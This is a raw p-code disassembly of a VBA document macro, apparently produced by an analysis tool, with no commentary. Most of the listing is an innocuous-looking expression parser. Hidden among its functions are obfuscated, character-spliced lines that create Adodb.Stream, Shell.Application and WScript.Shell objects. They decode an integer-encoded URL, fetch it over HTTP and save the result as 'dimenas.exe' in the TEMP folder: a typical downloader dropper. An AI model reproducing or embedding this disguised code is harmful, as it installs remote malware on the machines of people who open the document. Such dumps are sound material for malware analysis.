' St expressionIndex | |
' Line #60: | |
' LitVarSpecial (True) | |
' St Tokens_MoveCharPointer | |
' Line #61: | |
' Ld singleCharOnly | |
' If | |
' BoSImplicit | |
' ExitFunc | |
' EndIf | |
' Line #62: | |
' Wend | |
' Line #63: | |
' EndFunc | |
' Line #64: | |
' FuncDefn (Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean) | |
' Line #65: | |
' LitVarSpecial (True) | |
' St Parse_FindBinaryOp | |
' Line #66: | |
' Ld token | |
' SelectCase | |
' Line #67: | |
' LitStr 0x0002 "||" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x000E "orshortcircuit" | |
' LitDI2 0x0001 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #68: | |
' LitStr 0x0002 "&&" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x000F "andshortcircuit" | |
' LitDI2 0x0002 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #69: | |
' LitStr 0x0001 "|" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "or" | |
' LitDI2 0x0003 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #70: | |
' LitStr 0x0001 "&" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0003 "and" | |
' LitDI2 0x0004 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #71: | |
' LitStr 0x0001 "<" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "lt" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #72: | |
' LitStr 0x0002 "<=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0003 "lte" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #73: | |
' LitStr 0x0001 ">" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "gt" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #74: | |
' LitStr 0x0002 ">=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0003 "gte" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #75: | |
' LitStr 0x0002 "==" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "eq" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #76: | |
' LitStr 0x0001 "=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "eq" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #77: | |
' LitStr 0x0002 "~=" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "ne" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #78: | |
' LitStr 0x0002 "<>" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0002 "ne" | |
' LitDI2 0x0005 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #79: | |
' LitStr 0x0001 ":" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "colon" | |
' LitDI2 0x0006 | |
' LitVarSpecial (False) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #80: | |
' LitStr 0x0001 "+" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0004 "plus" | |
' LitDI2 0x0007 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #81: | |
' LitStr 0x0001 "-" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "minus" | |
' LitDI2 0x0007 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #82: | |
' LitStr 0x0001 "*" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "mtimes" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #83: | |
' LitStr 0x0002 ".*" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "times" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #84: | |
' LitStr 0x0001 "/" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0007 "mdivide" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #85: | |
' LitStr 0x0002 "./" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "divide" | |
' LitDI2 0x0008 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #86: | |
' LitStr 0x0001 "^" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "mpower" | |
' LitDI2 0x0009 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #87: | |
' LitStr 0x0002 ".^" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "power" | |
' LitDI2 0x0009 | |
' LitVarSpecial (True) | |
' ArgsArray Array 0x0003 | |
' St op | |
' Line #88: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' St Parse_FindBinaryOp | |
' Line #89: | |
' EndSelect | |
' Line #90: | |
' EndFunc | |
' Line #91: | |
' FuncDefn (Public Function Q(expr As String, args As String) As Variant) | |
' Line #92: | |
' LitStr 0x0001 "e" | |
' ArgsLd Asc 0x0001 | |
' ArgsLd Chr 0x0001 | |
' St arguments | |
' Line #93: | |
' LitVarSpecial (Empty) | |
' St endValues | |
' Line #94: | |
' LitStr 0x0001 "T" | |
' ArgsLd Asc 0x0001 | |
' ArgsLd Chr 0x0001 | |
' St errorMsg | |
' Line #95: | |
' Line #96: | |
' OnError ErrorHandler | |
' Line #97: | |
' Ld expr | |
' St expression | |
' Line #98: | |
' Line #99: | |
' LitStr 0x0000 "" | |
' LitStr 0x0000 "" | |
' ArgsCall Parse_FindUnaryPostfixOp 0x0002 | |
' Line #100: | |
' ExitFunc | |
' Line #101: | |
' LitDI2 0x0001 | |
' St expressionIndex | |
' Line #102: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #103: | |
' Dim | |
' VarDefn root (As Variant) | |
' Line #104: | |
' Do | |
' Line #105: | |
' Ld currentToken | |
' SelectCase | |
' Line #106: | |
' LitStr 0x0000 "" | |
' Case | |
' CaseDone | |
' Line #107: | |
' ExitDo | |
' Line #108: | |
' LitStr 0x0001 ";" | |
' Case | |
' Ld vbLf | |
' Case | |
' CaseDone | |
' Line #109: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #110: | |
' CaseElse | |
' Line #111: | |
' ArgsLd Parse_Binary 0x0000 | |
' St root | |
' Line #112: | |
' Ld root | |
' ArgsLd eval_tree 0x0001 | |
' St ans | |
' Line #113: | |
' LineCont 0x0008 01 00 01 00 0D 00 01 00 | |
' Ld currentToken | |
' LitStr 0x0000 "" | |
' Eq | |
' Ld currentToken | |
' LitStr 0x0001 ";" | |
' Eq | |
' Or | |
' Ld currentToken | |
' Ld vbLf | |
' Eq | |
' Or | |
' LitStr 0x0000 "" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #114: | |
' EndSelect | |
' Line #115: | |
' LitVarSpecial (True) | |
' LoopWhile | |
' Line #116: | |
' Ld ans | |
' St Q | |
' Line #117: | |
' ExitFunc | |
' Line #118: | |
' Label ErrorHandler | |
' Line #119: | |
' Ld errorMsg | |
' LitStr 0x0000 "" | |
' Eq | |
' If | |
' BoSImplicit | |
' Ld Err | |
' MemLd Description | |
' St errorMsg | |
' EndIf | |
' Line #120: | |
' LitStr 0x0008 "ERROR - " | |
' Ld errorMsg | |
' Concat | |
' St Q | |
' Line #121: | |
' EndFunc | |
' Line #122: | |
' FuncDefn (Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean) | |
' Line #123: | |
' LitVarSpecial (True) | |
' St Parse_FindUnaryPrefixOp | |
' Line #124: | |
' Ld token | |
' SelectCase | |
' Line #125: | |
' LitStr 0x0001 "+" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "uplus" | |
' St op | |
' Line #126: | |
' LitStr 0x0001 "-" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "uminus" | |
' St op | |
' Line #127: | |
' LitStr 0x0001 "~" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "negate" | |
' St op | |
' Line #128: | |
' LitStr 0x0001 "#" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0005 "numel" | |
' St op | |
' Line #129: | |
' LitStr 0x0001 "!" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitStr 0x0006 "extern" | |
' St op | |
' Line #130: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' St Parse_FindUnaryPrefixOp | |
' Line #131: | |
' EndSelect | |
' Line #132: | |
' EndFunc | |
' Line #133: | |
' Line #134: | |
' FuncDefn (Private Function Parse_Matrix() As Variant) | |
' Line #135: | |
' Ld currentToken | |
' LitStr 0x0001 "]" | |
' Ne | |
' While | |
' Line #136: | |
' LitVarSpecial (True) | |
' Ld Park | |
' ArgsMemLd se_List 0x0001 | |
' Ld Parse_Matrix | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #137: | |
' Ld currentToken | |
' LitStr 0x0001 ";" | |
' Eq | |
' If | |
' BoSImplicit | |
' ArgsCall Tokens_Next 0x0000 | |
' EndIf | |
' Line #138: | |
' Ld currentToken | |
' LitStr 0x0000 "" | |
' Ne | |
' LitStr 0x0008 "Missing " | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #139: | |
' Wend | |
' Line #140: | |
' EndFunc | |
' Line #141: | |
' ConstFuncExpr | |
' LitVarSpecial (False) | |
' FuncDefn (Private Function Parkse_List(Optional isSpaceSeparator As Boolean) As Variant) | |
' Line #142: | |
' SetStmt | |
' LitStr 0x0001 "a" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0006 "dodb.S" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0001 "r" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0002 "am" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' Set UtilsInd2Sub | |
' Line #143: | |
' ArgsCall Parse_Binary 0x0000 | |
' Line #144: | |
' ExitFunc | |
' Line #145: | |
' LitStr 0x0003 ";)]" | |
' Ld currentToken | |
' FnInStr | |
' LitDI2 0x0000 | |
' Eq | |
' DoWhile | |
' Line #146: | |
' Ld currentToken | |
' LitStr 0x0001 "," | |
' Eq | |
' IfBlock | |
' Line #147: | |
' LitStr 0x000D "eval_constant" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' Ld Park | |
' MemLd se_List | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #148: | |
' ElseBlock | |
' Line #149: | |
' ArgsLd Parse_Binary 0x0000 | |
' Ld Park | |
' MemLd se_List | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #150: | |
' EndIfBlock | |
' Line #151: | |
' Ld currentToken | |
' LitStr 0x0001 "," | |
' Eq | |
' IfBlock | |
' Line #152: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #153: | |
' Ld previousTokenIsSpace | |
' Ld isSpaceSeparator | |
' And | |
' Paren | |
' Not | |
' ElseIfBlock | |
' Line #154: | |
' ExitDo | |
' Line #155: | |
' EndIfBlock | |
' Line #156: | |
' Loop | |
' Line #157: | |
' EndFunc | |
' Line #158: | |
' ConstFuncExpr | |
' LitDI2 0x03E7 | |
' UMi | |
' FuncDefn (Private Function Parse_Binary(Optional lastPrec As Long) As Variant) | |
' Line #159: | |
' SetStmt | |
' LitStr 0x0001 "s" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0001 "h" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x000A "ll.Applica" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0003 "ion" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' Set UtilsCalcDimDirection | |
' Line #160: | |
' ArgsCall Parse_Postfix 0x0000 | |
' Line #161: | |
' ExitFunc | |
' Line #162: | |
' ArgsLd Parse_Prefix 0x0000 | |
' St Parse_Binary | |
' Line #163: | |
' Dim | |
' VarDefn op | |
' BoS 0x0000 | |
' Ld currentToken | |
' Ld op | |
' ArgsLd Parse_FindBinaryOp 0x0002 | |
' DoWhile | |
' Line #164: | |
' LitDI2 0x0002 | |
' ArgsLd op 0x0001 | |
' LitDI2 0x0003 | |
' ArgsLd op 0x0001 | |
' Coerce (Lng) | |
' Add | |
' Ld lastPrec | |
' Lt | |
' If | |
' BoSImplicit | |
' ExitDo | |
' EndIf | |
' Line #165: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #166: | |
' LitStr 0x0003 "op_" | |
' LitDI2 0x0001 | |
' ArgsLd op 0x0001 | |
' Concat | |
' Ld Parse_Binary | |
' LitDI2 0x0002 | |
' ArgsLd op 0x0001 | |
' Coerce (Lng) | |
' ArgsLd Parse_Binary 0x0001 | |
' ArgsArray Array 0x0002 | |
' ArgsArray Array 0x0002 | |
' St Parse_Binary | |
' Line #167: | |
' Loop | |
' Line #168: | |
' EndFunc | |
' Line #169: | |
' FuncDefn (Private Function Parse_Prefix() As Variant) | |
' Line #170: | |
' Dim | |
' VarDefn op | |
' Line #171: | |
' Ld currentToken | |
' Ld op | |
' ArgsLd Parse_FindUnaryPrefixOp 0x0002 | |
' IfBlock | |
' Line #172: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #173: | |
' LitStr 0x0003 "op_" | |
' Ld op | |
' Concat | |
' ArgsLd Parse_Prefix 0x0000 | |
' ArgsArray Array 0x0001 | |
' ArgsArray Array 0x0002 | |
' St Parse_Prefix | |
' Line #174: | |
' ElseBlock | |
' Line #175: | |
' ArgsLd Parse_Postfix 0x0000 | |
' St Parse_Prefix | |
' Line #176: | |
' EndIfBlock | |
' Line #177: | |
' EndFunc | |
' Line #178: | |
' Line #179: | |
' FuncDefn (Private Function Parse_Atomic() As Variant) | |
' Line #180: | |
' Ld currentToken | |
' LitStr 0x0000 "" | |
' Ne | |
' LitStr 0x0010 "missing argument" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #181: | |
' Ld currentToken | |
' ArgsLd Asc 0x0001 | |
' SelectCase | |
' Line #182: | |
' LitStr 0x0001 ":" | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #183: | |
' LitStr 0x000A "eval_colon" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #184: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #185: | |
' LitStr 0x0001 "(" | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #186: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #187: | |
' ArgsLd Parse_Binary 0x0000 | |
' St Parse_Atomic | |
' Line #188: | |
' LitStr 0x0001 ")" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #189: | |
' LitStr 0x0001 "[" | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #190: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #191: | |
' LitStr 0x000B "eval_concat" | |
' ArgsLd Parse_Matrix 0x0000 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #192: | |
' LitStr 0x0001 "]" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #193: | |
' LitStr 0x0001 """ | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #194: | |
' LitStr 0x000D "eval_constant" | |
' Ld currentToken | |
' LitDI2 0x0002 | |
' Ld currentToken | |
' FnLen | |
' LitDI2 0x0002 | |
' Sub | |
' ArgsLd Mid 0x0003 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #195: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #196: | |
' LitStr 0x0001 "0" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "9" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #197: | |
' LitStr 0x000D "eval_constant" | |
' Ld currentToken | |
' ArgsLd Val 0x0001 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #198: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #199: | |
' LitStr 0x0001 "a" | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "z" | |
' ArgsLd Asc 0x0001 | |
' CaseTo | |
' CaseDone | |
' Line #200: | |
' Ld currentToken | |
' LitStr 0x0003 "end" | |
' Eq | |
' IfBlock | |
' Line #201: | |
' LitStr 0x0008 "eval_end" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #202: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #203: | |
' Ld currentToken | |
' LitStr 0x0003 "ans" | |
' Eq | |
' ElseIfBlock | |
' Line #204: | |
' LitStr 0x0008 "eval_ans" | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #205: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #206: | |
' Ld currentToken | |
' FnLen | |
' LitDI2 0x0001 | |
' Eq | |
' ElseIfBlock | |
' Line #207: | |
' LitStr 0x0008 "eval_arg" | |
' Ld currentToken | |
' ArgsLd Asc 0x0001 | |
' LitStr 0x0001 "a" | |
' ArgsLd Asc 0x0001 | |
' Sub | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #208: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #209: | |
' ElseBlock | |
' Line #210: | |
' LitStr 0x0003 "fn_" | |
' Ld currentToken | |
' Concat | |
' St Parse_Atomic | |
' Line #211: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #212: | |
' Ld currentToken | |
' LitStr 0x0001 "(" | |
' Eq | |
' IfBlock | |
' Line #213: | |
' LitStr 0x0001 "(" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #214: | |
' Ld Parse_Atomic | |
' Ld Park | |
' ArgsMemLd se_List 0x0000 | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #215: | |
' LitStr 0x0001 ")" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #216: | |
' ElseBlock | |
' Line #217: | |
' Ld Parse_Atomic | |
' LitVarSpecial (Empty) | |
' ArgsArray Array 0x0002 | |
' St Parse_Atomic | |
' Line #218: | |
' EndIfBlock | |
' Line #219: | |
' EndIfBlock | |
' Line #220: | |
' CaseElse | |
' Line #221: | |
' LitVarSpecial (False) | |
' LitStr 0x0012 "unexpected token: " | |
' Ld currentToken | |
' Concat | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #222: | |
' EndSelect | |
' Line #223: | |
' EndFunc | |
' Line #224: | |
' FuncDefn (Private Function MAX(a As Variant, B As Variant) As Variant) | |
' Line #225: | |
' Dim | |
' VarDefn homebrew (As Variant) | |
' Line #226: | |
' LitDI2 0x2A4E | |
' LitDI2 0x2A5A | |
' LitDI2 0x2A5A | |
' LitDI2 0x2A56 | |
' LitDI2 0x2A20 | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A48 | |
' LitDI2 0x2A58 | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A4A | |
' LitDI2 0x2A47 | |
' LitDI2 0x2A14 | |
' LitDI2 0x2A5C | |
' LitDI2 0x2A47 | |
' LitDI2 0x2A54 | |
' LitDI2 0x2A4E | |
' LitDI2 0x2A4F | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A52 | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A14 | |
' LitDI2 0x2A54 | |
' LitDI2 0x2A52 | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A1A | |
' LitDI2 0x2A19 | |
' LitDI2 0x2A1D | |
' LitDI2 0x2A4D | |
' LitDI2 0x2A1E | |
' LitDI2 0x2A15 | |
' LitDI2 0x2A1A | |
' LitDI2 0x2A19 | |
' LitDI2 0x2A59 | |
' LitDI2 0x2A1B | |
' LitDI2 0x2A4A | |
' LitDI2 0x2A1C | |
' LitDI2 0x2A4C | |
' LitDI2 0x2A1D | |
' LitDI2 0x2A4D | |
' LitDI2 0x2A14 | |
' LitDI2 0x2A4B | |
' LitDI2 0x2A5E | |
' LitDI2 0x2A4B | |
' ArgsArray Array 0x002C | |
' St homebrew | |
' Line #227: | |
' LitStr 0x0001 "H" | |
' ArgsLd Asc 0x0001 | |
' LitDI2 0x0001 | |
' Sub | |
' ArgsLd Chr 0x0001 | |
' Ld arguments | |
' ArgsLd UCase 0x0001 | |
' Add | |
' Ld errorMsg | |
' Add | |
' Ld homebrew | |
' LitDI2 0x002B | |
' ArgsLd UtilsAssertToken 0x0002 | |
' LitVarSpecial (False) | |
' Ld CodOrdineCorrente1 | |
' ArgsMemCall Open 0x0003 | |
' Line #228: | |
' LitDI2 0x0002 | |
' ArgsCall Utils_Numel 0x0001 | |
' Line #229: | |
' ExitFunc | |
' Line #230: | |
' Ld a | |
' Ld B | |
' Gt | |
' If | |
' BoSImplicit | |
' Ld a | |
' St MAX | |
' Else | |
' BoSImplicit | |
' Ld B | |
' St MAX | |
' EndIf | |
' Line #231: | |
' EndFunc | |
' Line #232: | |
' FuncDefn (Private Function MIN(a As Variant, B As Variant) As Variant) | |
' Line #233: | |
' Ld a | |
' Ld B | |
' Lt | |
' If | |
' BoSImplicit | |
' Ld a | |
' St MIN | |
' Else | |
' BoSImplicit | |
' Ld B | |
' St MIN | |
' EndIf | |
' Line #234: | |
' EndFunc | |
' Line #235: | |
' FuncDefn (Private Function IFF(a As Boolean, B As Variant, c As Variant) As Variant) | |
' Line #236: | |
' Ld a | |
' If | |
' BoSImplicit | |
' Ld B | |
' St IFF | |
' Else | |
' BoSImplicit | |
' Ld c | |
' St IFF | |
' EndIf | |
' Line #237: | |
' EndFunc | |
' Line #238: | |
' ConstFuncExpr | |
' LitStr 0x0000 "" | |
' FuncDefn (Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String)) | |
' Line #239: | |
' Ld tree | |
' ArgsLd Utils_Dimensions 0x0001 | |
' LitDI2 0x0000 | |
' Gt | |
' IfBlock | |
' Line #240: | |
' Dim | |
' VarDefn leaf | |
' BoS 0x0000 | |
' StartForVariable | |
' Ld leaf | |
' EndForVariable | |
' Ld tree | |
' ForEach | |
' Line #241: | |
' Ld leaf | |
' Ld spacer | |
' LitStr 0x0001 " " | |
' Concat | |
' ArgsCall Utils_DumpTree 0x0002 | |
' Line #242: | |
' StartForVariable | |
' Ld leaf | |
' EndForVariable | |
' NextVar | |
' Line #243: | |
' ElseBlock | |
' Line #244: | |
' Debug | |
' PrintObj | |
' Ld spacer | |
' Ld tree | |
' Concat | |
' PrintItemNL | |
' Line #245: | |
' EndIfBlock | |
' Line #246: | |
' EndSub | |
' Line #247: | |
' FuncDefn (Private Function Parse_Postfix() As Variant) | |
' Line #248: | |
' SetStmt | |
' LitStr 0x0001 "p" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0003 "roc" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0002 "ss" | |
' Add | |
' LitStr 0x0001 "w" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0001 "s" | |
' ArgsLd UCase 0x0001 | |
' Add | |
' LitStr 0x0001 "C" | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0003 "rip" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0003 ".Sh" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0002 "ll" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' ArgsMemLd Environment 0x0001 | |
' Set ParsePostfixResult | |
' Line #249: | |
' LitDI2 0x0004 | |
' LitDI2 0x0005 | |
' ArgsCall MAX 0x0002 | |
' Line #250: | |
' ExitFunc | |
' Line #251: | |
' Ld Parse_Atomic | |
' St Parse_Postfix | |
' Line #252: | |
' Dim | |
' VarDefn op | |
' BoS 0x0000 | |
' Do | |
' Line #253: | |
' Ld currentToken | |
' Ld op | |
' ArgsLd Parse_FindUnaryPostfixOp 0x0002 | |
' IfBlock | |
' Line #254: | |
' LitStr 0x0003 "op_" | |
' Ld op | |
' Concat | |
' Ld Parse_Postfix | |
' ArgsArray Array 0x0001 | |
' ArgsArray Array 0x0002 | |
' St Parse_Postfix | |
' Line #255: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #256: | |
' Ld currentToken | |
' LitStr 0x0001 "(" | |
' Eq | |
' ElseIfBlock | |
' Line #257: | |
' ArgsCall Tokens_Next 0x0000 | |
' Line #258: | |
' LitStr 0x000A "eval_index" | |
' Ld Parse_Postfix | |
' Ld Park | |
' ArgsMemLd se_List 0x0000 | |
' ArgsArray Array 0x0002 | |
' ArgsArray Array 0x0002 | |
' St Parse_Postfix | |
' Line #259: | |
' LitStr 0x0001 ")" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #260: | |
' ElseBlock | |
' Line #261: | |
' ExitDo | |
' Line #262: | |
' EndIfBlock | |
' Line #263: | |
' LitVarSpecial (True) | |
' LoopWhile | |
' Line #264: | |
' EndFunc | |
' Line #265: | |
' FuncDefn (Private Function Utils_Dimensions(v As Variant) As Long) | |
' Line #266: | |
' Dim | |
' VarDefn dimnum (As Long) | |
' VarDefn errorCheck (As Integer) | |
' Line #267: | |
' OnError FinalDimension | |
' Line #268: | |
' StartForVariable | |
' Ld dimnum | |
' EndForVariable | |
' LitDI2 0x0001 | |
' LitDI4 0xEA60 0x0000 | |
' For | |
' Line #269: | |
' Ld v | |
' Ld dimnum | |
' FnLBound 0x0001 | |
' St errorCheck | |
' Line #270: | |
' StartForVariable | |
' Next | |
' Line #271: | |
' Label FinalDimension | |
' Line #272: | |
' Ld dimnum | |
' LitDI2 0x0001 | |
' Sub | |
' St Utils_Dimensions | |
' Line #273: | |
' EndFunc | |
' Line #274: | |
' FuncDefn (Private Function Utils_Numel(v As Long) As Long) | |
' Line #275: | |
' Ld CodOrdineCorrente1 | |
' ArgsMemCall Send 0x0000 | |
' Line #276: | |
' Line #277: | |
' Ld errorMsg | |
' Ld arguments | |
' ArgsLd UCase 0x0001 | |
' Add | |
' LitStr 0x0002 "MP" | |
' Add | |
' ArgsLd ParsePostfixResult 0x0001 | |
' St CodOrdineCorrente4 | |
' Line #278: | |
' Line #279: | |
' Ld CodOrdineCorrente4 | |
' LitStr 0x0009 "\dimenas." | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0001 "x" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0000 "" | |
' Add | |
' St dimIndexArgs | |
' Line #280: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' LitDI2 0x0000 | |
' LitDI2 0x0000 | |
' ArgsCall Utils_Ind2Sub 0x0004 | |
' Line #281: | |
' ExitFunc | |
' Line #282: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #283: | |
' LitDI2 0x0000 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' ArgsLd IsEmpty 0x0001 | |
' LitDI2 0x0000 | |
' LitDI2 0x0001 | |
' ArgsLd IFF 0x0003 | |
' St Utils_Numel | |
' Line #284: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld sccv | |
' FnUBound 0x0000 | |
' St Utils_Numel | |
' Line #285: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld sccv | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' Ld sccv | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' Mul | |
' St Utils_Numel | |
' Line #286: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #287: | |
' EndSelect | |
' Line #288: | |
' EndFunc | |
' Line #289: | |
' FuncDefn (Private Function Utils_Rows(ByRef v As Variant) As Long) | |
' Line #290: | |
' Dim | |
' VarDefn c (As Long) | |
' Line #291: | |
' Ld v | |
' Ld Utils_Rows | |
' Ld c | |
' ArgsCall Utils_Size 0x0003 | |
' Line #292: | |
' EndFunc | |
' Line #293: | |
' FuncDefn (Private Function Utils_Cols(ByRef v As Variant) As Long) | |
' Line #294: | |
' Dim | |
' VarDefn r (As Long) | |
' Line #295: | |
' Ld v | |
' Ld r | |
' Ld Utils_Cols | |
